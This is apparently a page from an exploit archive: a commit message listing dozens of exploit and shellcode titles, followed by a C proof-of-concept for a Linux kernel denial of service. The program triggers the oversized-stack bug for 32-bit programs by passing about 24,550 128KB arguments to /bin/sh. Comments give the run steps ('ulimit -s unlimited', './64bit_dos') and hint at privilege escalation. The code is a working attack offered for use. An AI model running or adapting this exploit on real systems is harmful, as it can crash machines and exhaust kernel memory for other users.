880bbe402e
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
65 lines
No EOL
2.3 KiB
C
65 lines
No EOL
2.3 KiB
C
// source: https://www.securityfocus.com/bid/44301/info
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/* known for over a year, fixed in grsec
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bug is due to a bad limit on the max size of the stack for 32bit apps
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on a 64bit OS. Instead of them being limited to 1/4th of a 32bit
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address space, they're limited to 1/4th of a 64bit address space -- oops!
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in combination with vanilla ASLR, it triggers a BUG() as the stack
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tries to expand around the address space when shifted
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Below mmap_min_addr you say? uh oh! ;)
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Reported to Ted Tso in December 2009
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Linus today (Aug 13 2010) silently fixes tangential issue:
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http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git;a=commitdiff;h=320b2b8de12698082609ebbc1a17165727f4c893
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The second bug here is that the memory usage explodes within the
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kernel from a single 128k allocation in userland
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The explosion of memory isn't accounted for by any task so it won't
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be terminated by the OOM killer
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curious what actual vuln was involved that they were trying
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to silently fix, as I don't think it's the one below
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clobbering data in a suid app by growing the stack into the mapping
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for the image? ;) I smell privesc...mumblings of X server/recursion
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ulimit -s unlimited
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./64bit_dos
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SELinux is here to save us though with its fine-grained controls!
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Wait, it doesn't?
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Clearly the solution is to throw a buggy KVM on top of it
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Not enough? Ok, we'll throw in an extra SELinux, that'll really
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throw those hackers off when they use the same exact exploit on the
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host as they do on the guest!
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COMMON CRITERIA HERE I COME!
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*/
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#include <stdio.h>
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#include <stdlib.h>
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#include <string.h>
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#include <unistd.h>
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#include <sys/personality.h>
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#define NUM_ARGS 24550
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int main(void)
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{
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char **args;
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char *str;
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int i;
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/* not needed, just makes it easier for machines with less RAM */
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personality(PER_LINUX32_3GB);
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str = malloc(128 * 1024);
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memset(str, 'A', 128 * 1024 - 1);
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str[128 * 1024 - 1] = '\0';
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args = malloc(NUM_ARGS * sizeof(char *));
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for (i = 0; i < (NUM_ARGS - 1); i++)
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args[i] = str;
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args[i] = NULL;
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execv("/bin/sh", args);
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printf("execve failed\n");
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return 0;
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} |